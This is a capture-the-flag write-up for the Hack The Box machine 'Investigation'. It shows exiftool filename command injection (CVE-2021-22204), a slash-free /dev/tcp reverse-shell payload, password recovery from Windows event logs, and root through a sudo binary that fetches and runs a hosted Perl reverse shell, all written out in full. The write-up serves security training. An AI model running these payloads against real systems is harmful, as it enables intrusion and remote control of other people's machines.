HTB Writeup : Investigation

I. Information gathering

  • There are multiple ports open :
    • port 80 : apache server
    • port 22 : ssh
  • A curl on the http server gives a redirection to : eforenzics.htb
  • Adding it to /etc/hosts and browsing to the web page, we are presented with a page where you're able to upload images for "analysis".
  • When it is uploaded it gives us a link to a txt file.
    • from this txt file we know that it just runs exiftool on the back-end.
    • the exiftool version is 12.37 which is vulnerable to command injection (CVE-2021-22204)

II. Exploitation

All we need to do is add a pipe at the end of our file name and it'll treat that file as a command on the server side :

Payload template

name of file : <command> |
file type : .png

I decided to use this wonderful picture of a duck with the following name :

netcat <ip> <port> |

I ran a netcat listener on my machine, upload the duck into the network and we notice that it indeed intiates a tcp connection. The exploit is valid !

III. Getting Foothold

We need to get a reverse shell into the server and we know from the infoga phase that it runs linux and has php installed (from the "upload.php" action). Our main constraint is not being allowed to use "/" so this reverse shell won't work :

sh -i >& /dev/tcp/<ip>/<port> 0>&1

But what we can do is replace those / with another char as such.

sh -i >& XdevXtcpX<ip>X<port> 0>&1

Now it doesn't work but we can just use tr and the php that we know for sure is installed and we're allowed to run to replace those "X" with a "/". This is our final filename.

echo 'sh -i >& XdevXtcpX<ip>X<port> 0>&1' | tr -d X $(php -r 'echo chr(47);') | bash | 

Note : I first tried with double quotes but it would get url encoded and it just wouldn't work.

IV. Post-exploitation

Our malicious duck has accomplished his mission and gave us a shell as www-data, which allows us to explore a bit. From the /etc/passwd we see that the user smorton has a home but we are not allowed inside. So we'll have to figure out how to get to it.

While exploring and guessing with the find command, we find out that there's an investigation folder which triggers my spidersense (it's a lie i've looked for hours and I almost checked everything except this). Inside of it we find a .msg file. We transfer it to our machine and convert it into something readable with the msgconvert command.

In the mail exchange there's a zip file being sent and it is encoded as base64. let's keep in mind the fact that the mail is talking about logging into something. So we write a simple python script to decode and save it :

import base64
res = ""
with open('out.file.eml', 'r') as f :
    lines = f.readlines()
    for i in range(54,22451):
        res += lines[i]

b = base64.b64decode(res)

with open("logs.zip", 'wb') as f :
    f.write(b)

We unzip it and we have a windows evtx file. I transfer it to my windows machine for analysis. There's more than 20k logs in there so we have to narrow down our research and remember we are looking for people logging into something.

We try a bunch of filters that are referenced by this github repository (thanks for that welchbj !). But when we use the Logon failure variations (529-537,539,4625), we find only 3 events and the last one seems to be someone that messed up by inputing his password as a username.

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}" /> 
  <EventID>4625</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>12544</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8010000000000000</Keywords> 
  <TimeCreated SystemTime="2022-08-01T19:15:15.3747694Z" /> 
  <EventRecordID>11373331</EventRecordID> 
  <Correlation ActivityID="{6a946884-a5bc-0001-d968-946abca5d801}" /> 
  <Execution ProcessID="628" ThreadID="6800" /> 
  <Channel>Security</Channel> 
  <Computer>eForenzics-DI</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="SubjectUserSid">S-1-5-18</Data> 
  <Data Name="SubjectUserName">EFORENZICS-DI$</Data> 
  <Data Name="SubjectDomainName">WORKGROUP</Data> 
  <Data Name="SubjectLogonId">0x3e7</Data> 
  <Data Name="TargetUserSid">S-1-0-0</Data> 
  <Data Name="TargetUserName">Def@ultf0r3nz!csPa$$</Data> 
  <Data Name="TargetDomainName" /> 
  <Data Name="Status">0xc000006d</Data> 
  <Data Name="FailureReason">%%2313</Data> 
  <Data Name="SubStatus">0xc0000064</Data> 
  <Data Name="LogonType">7</Data> 
  <Data Name="LogonProcessName">User32</Data> 
  <Data Name="AuthenticationPackageName">Negotiate</Data> 
  <Data Name="WorkstationName">EFORENZICS-DI</Data> 
  <Data Name="TransmittedServices">-</Data> 
  <Data Name="LmPackageName">-</Data> 
  <Data Name="KeyLength">0</Data> 
  <Data Name="ProcessId">0x180</Data> 
  <Data Name="ProcessName">C:\Windows\System32\svchost.exe</Data> 
  <Data Name="IpAddress">127.0.0.1</Data> 
  <Data Name="IpPort">0</Data> 
  </EventData>
  </Event>

In hindsight, maybe I should've tried this first because there is no other way to find a password in these logs other than messing up in this specific way. But in the end I wasn't even really sure what I was looking for.

V. Priviledge escalation

Now we can just login into ssh as smorton with the password found above. And right off the bat, my first instinct is to use sudo -l. And it seems that we are allowed to execute /usr/bin/binary. There is indeed a binary file and it seemed odd at first because I thought it was someone else's file but we only have read permissions in there. So I exfiltrated the file and ran ghidra to analyze it.

Ghidra's pseudo-C output

undefined8 main(int param_1,long param_2)

{
  __uid_t _Var1;
  int iVar2;
  FILE *__stream;
  undefined8 uVar3;
  char *__s;
  char *__s_00;

  if (param_1 != 3) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  _Var1 = getuid();
  if (_Var1 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
  if (iVar2 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Running... ");
  __stream = fopen(*(char **)(param_2 + 0x10),"wb");
  uVar3 = curl_easy_init();
  curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8));
  curl_easy_setopt(uVar3,0x2711,__stream);
  curl_easy_setopt(uVar3,0x2d,1);
  iVar2 = curl_easy_perform(uVar3);
  if (iVar2 == 0) {
    iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
    __s = (char *)malloc((long)iVar2 + 1);
    snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
    iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
    __s_00 = (char *)malloc((long)iVar2 + 1);
    snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
    fclose(__stream);
    curl_easy_cleanup(uVar3);
    setuid(0);
    system(__s_00);
    system("rm -f ./lDnxUysaQn");
    return 0;
  }
  puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

By reversing engineering it, we understand that this program takes 2 parameters : - param1 : URL to get a file - param2 : some kind of password that must match 'lDnxUysaQn'

The program checks that SUID is 0 and at the end it is going to store this file in a file named 'lDnxUysaQn' and use system() to execute this command.

./perl ./lDnxUysaQn

So all we need to do is startup an http server to host our perl script, execute the right command and just enjoy.

Command on the target

sudo binary http://<ip&port>/duck.prl 

Reverse Shell

use Socket;$i="<ip>";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

And voilà ! We did it :P

Conclusion

After this CTF, I had to check that this wasn't another player's file and I retried when the machine was reset and it was infact part of the challenge.

The PE was oddly straight to the point as it didn't require any trial and error but the tedious part was finding the .msg file. It may not seem like it because I go straight to the point in the writeup but it required a bunch of wild guesses with the find command and me messing up by using the a grep -r that crashed the machine until I just tried to do the most obvious thing : $ find <NAMEOFTHEMACHINE> . The most important thing that I've learned here is to always go for the lowest hanging fruits and go up from there or you're in for an unpleasant ride.

It was a fun box and the reviews on the upload page made me giggle and sway my lil feet hihihi.